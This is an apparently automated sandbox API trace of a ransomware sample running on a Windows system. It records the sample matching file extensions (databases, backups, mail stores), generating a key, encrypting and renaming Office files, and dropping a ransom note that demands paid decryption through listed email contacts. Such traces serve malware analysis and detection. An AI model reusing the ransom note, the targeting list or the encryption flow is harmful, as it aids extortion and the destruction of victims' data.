	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0080.542] lstrlenW (lpString=".VHDX") returned 5
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0080.542] lstrlenW (lpString=".ndf") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0080.542] lstrlenW (lpString=".DB") returned 3
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0080.543] lstrlenW (lpString=".sql") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0080.543] lstrlenW (lpString=".MYD") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0080.543] lstrlenW (lpString=".DBT") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0080.543] lstrlenW (lpString=".ACCDB") returned 6
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0080.543] lstrlenW (lpString=".fdb") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0080.543] lstrlenW (lpString=".bak") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0080.543] lstrlenW (lpString=".myd") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0080.543] lstrlenW (lpString=".DTXS") returned 5
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0080.543] lstrlenW (lpString=".ckp") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0080.543] lstrlenW (lpString=".dbt") returned 4
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0080.543] lstrlenW (lpString=".db") returned 3
	[0080.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0080.544] lstrlenW (lpString=".TXT") returned 4
	[0080.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0080.544] lstrlenW (lpString=".MDF") returned 4
	[0080.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0080.544] lstrlenW (lpString=".bdb") returned 4
	[0080.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0080.544] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.544] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.545] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.545] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.545] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20053550309) returned 1
	[0080.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99dbf810, dwHighDateTime=0x1d60e1e)) 
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e378
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e378 | out: hHeap=0x300000) returned 1
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.546] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.546] GetLastError () returned 0x0
	[0080.546] GetLastError () returned 0x0
	[0080.547] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.547] GetLastError () returned 0x0
	[0080.547] GetLastError () returned 0x0
	[0080.547] ReadFile (in: hFile=0x128, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x25dfec0*=0x8f8, lpOverlapped=0x0) returned 1
	[0080.549] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.549] WriteFile (in: hFile=0x128, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x25dfec0*=0x8f8, lpOverlapped=0x0) returned 1
	[0080.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0080.550] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.550] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.550] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.550] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.550] CloseHandle (hObject=0x128) returned 1
	[0080.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801810
	[0080.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.~~~~")) returned 1
	[0080.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801810 | out: hHeap=0x300000) returned 1
	[0080.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.664] GetLastError () returned 0x0
	[0080.664] RtlWakeConditionVariable () returned 0x365f70
	[0080.664] GetCurrentThreadId () returned 0x9f4
	[0080.664] GetCurrentThreadId () returned 0x9f4
	[0080.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa048 | out: hHeap=0x300000) returned 1
	[0080.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e110 | out: hHeap=0x300000) returned 1
	[0080.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801728
	[0080.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.664] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0080.664] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0080.666] CloseHandle (hObject=0x128) returned 1
	[0080.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801728 | out: hHeap=0x300000) returned 1
	[0080.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801640 | out: hHeap=0x300000) returned 1
	[0080.666] RtlWakeConditionVariable () returned 0x365f70
	[0080.666] GetCurrentThreadId () returned 0x9f4
	[0080.666] GetCurrentThreadId () returned 0x9f4
	[0080.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b37c0 | out: hHeap=0x300000) returned 1
	[0080.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0d8 | out: hHeap=0x300000) returned 1
	[0080.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b37c0
	[0080.666] lstrlenW (lpString=".scr") returned 4
	[0080.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".scr") returned 0x0
	[0080.666] lstrlenW (lpString=".cmd") returned 4
	[0080.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".cmd") returned 0x0
	[0080.666] lstrlenW (lpString=".dll") returned 4
	[0080.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dll") returned 0x0
	[0080.666] lstrlenW (lpString=".bat") returned 4
	[0080.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".bat") returned 0x0
	[0080.666] lstrlenW (lpString=".cpl") returned 4
	[0080.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".cpl") returned 0x0
	[0080.666] lstrlenW (lpString=".sys") returned 4
	[0080.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".sys") returned 0x0
	[0080.667] lstrlenW (lpString=".msc") returned 4
	[0080.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".msc") returned 0x0
	[0080.667] lstrlenW (lpString=".com") returned 4
	[0080.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".com") returned 0x0
	[0080.667] lstrlenW (lpString=".lnk") returned 4
	[0080.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".lnk") returned 0x0
	[0080.667] lstrlenW (lpString=".msp") returned 4
	[0080.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".msp") returned 0x0
	[0080.667] lstrlenW (lpString=".pif") returned 4
	[0080.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".pif") returned 0x0
	[0080.667] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0080.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0080.734] lstrlenW (lpString=".sqb") returned 4
	[0080.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".sqb") returned 0x0
	[0080.734] lstrlenW (lpString=".ost") returned 4
	[0080.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".ost") returned 0x0
	[0080.734] lstrlenW (lpString=".txt") returned 4
	[0080.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".txt") returned 0x0
	[0080.734] lstrlenW (lpString=".mdt") returned 4
	[0080.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".mdt") returned 0x0
	[0080.734] lstrlenW (lpString=".BDB") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".BDB") returned 0x0
	[0080.735] lstrlenW (lpString=".eql") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".eql") returned 0x0
	[0080.735] lstrlenW (lpString=".DBF") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DBF") returned 0x0
	[0080.735] lstrlenW (lpString=".EQL") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".EQL") returned 0x0
	[0080.735] lstrlenW (lpString=".FDB") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".FDB") returned 0x0
	[0080.735] lstrlenW (lpString=".EDB") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".EDB") returned 0x0
	[0080.735] lstrlenW (lpString=".DACPAC") returned 7
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DACPAC") returned 0x0
	[0080.735] lstrlenW (lpString=".VHD") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".VHD") returned 0x0
	[0080.735] lstrlenW (lpString=".DBV") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DBV") returned 0x0
	[0080.735] lstrlenW (lpString=".dacpac") returned 7
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dacpac") returned 0x0
	[0080.735] lstrlenW (lpString=".sdf") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".sdf") returned 0x0
	[0080.735] lstrlenW (lpString=".accdb") returned 6
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".accdb") returned 0x0
	[0080.735] lstrlenW (lpString=".DBX") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DBX") returned 0x0
	[0080.735] lstrlenW (lpString=".MDT") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".MDT") returned 0x0
	[0080.735] lstrlenW (lpString=".SQB") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".SQB") returned 0x0
	[0080.735] lstrlenW (lpString=".vhd") returned 4
	[0080.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".vhd") returned 0x0
	[0080.736] lstrlenW (lpString=".bac") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".bac") returned 0x0
	[0080.736] lstrlenW (lpString=".mdf") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".mdf") returned 0x0
	[0080.736] lstrlenW (lpString=".BAK") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".BAK") returned 0x0
	[0080.736] lstrlenW (lpString=".BAC") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".BAC") returned 0x0
	[0080.736] lstrlenW (lpString=".dbs") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dbs") returned 0x0
	[0080.736] lstrlenW (lpString=".vhdx") returned 5
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".vhdx") returned 0x0
	[0080.736] lstrlenW (lpString=".NDF") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".NDF") returned 0x0
	[0080.736] lstrlenW (lpString=".dat") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dat") returned 0x0
	[0080.736] lstrlenW (lpString=".DBS") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DBS") returned 0x0
	[0080.736] lstrlenW (lpString=".CKP") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".CKP") returned 0x0
	[0080.736] lstrlenW (lpString=".edb") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".edb") returned 0x0
	[0080.736] lstrlenW (lpString=".PST") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".PST") returned 0x0
	[0080.736] lstrlenW (lpString=".dbf") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dbf") returned 0x0
	[0080.736] lstrlenW (lpString=".SQL") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".SQL") returned 0x0
	[0080.736] lstrlenW (lpString=".pst") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".pst") returned 0x0
	[0080.736] lstrlenW (lpString=".dbv") returned 4
	[0080.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dbv") returned 0x0
	[0080.737] lstrlenW (lpString=".SDF") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".SDF") returned 0x0
	[0080.737] lstrlenW (lpString=".dtxs") returned 5
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dtxs") returned 0x0
	[0080.737] lstrlenW (lpString=".db3") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".db3") returned 0x0
	[0080.737] lstrlenW (lpString=".OST") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".OST") returned 0x0
	[0080.737] lstrlenW (lpString=".dbx") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dbx") returned 0x0
	[0080.737] lstrlenW (lpString=".DB3") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DB3") returned 0x0
	[0080.737] lstrlenW (lpString=".DAT") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DAT") returned 0x0
	[0080.737] lstrlenW (lpString=".VHDX") returned 5
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".VHDX") returned 0x0
	[0080.737] lstrlenW (lpString=".ndf") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".ndf") returned 0x0
	[0080.737] lstrlenW (lpString=".DB") returned 3
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DB") returned 0x0
	[0080.737] lstrlenW (lpString=".sql") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".sql") returned 0x0
	[0080.737] lstrlenW (lpString=".MYD") returned 4
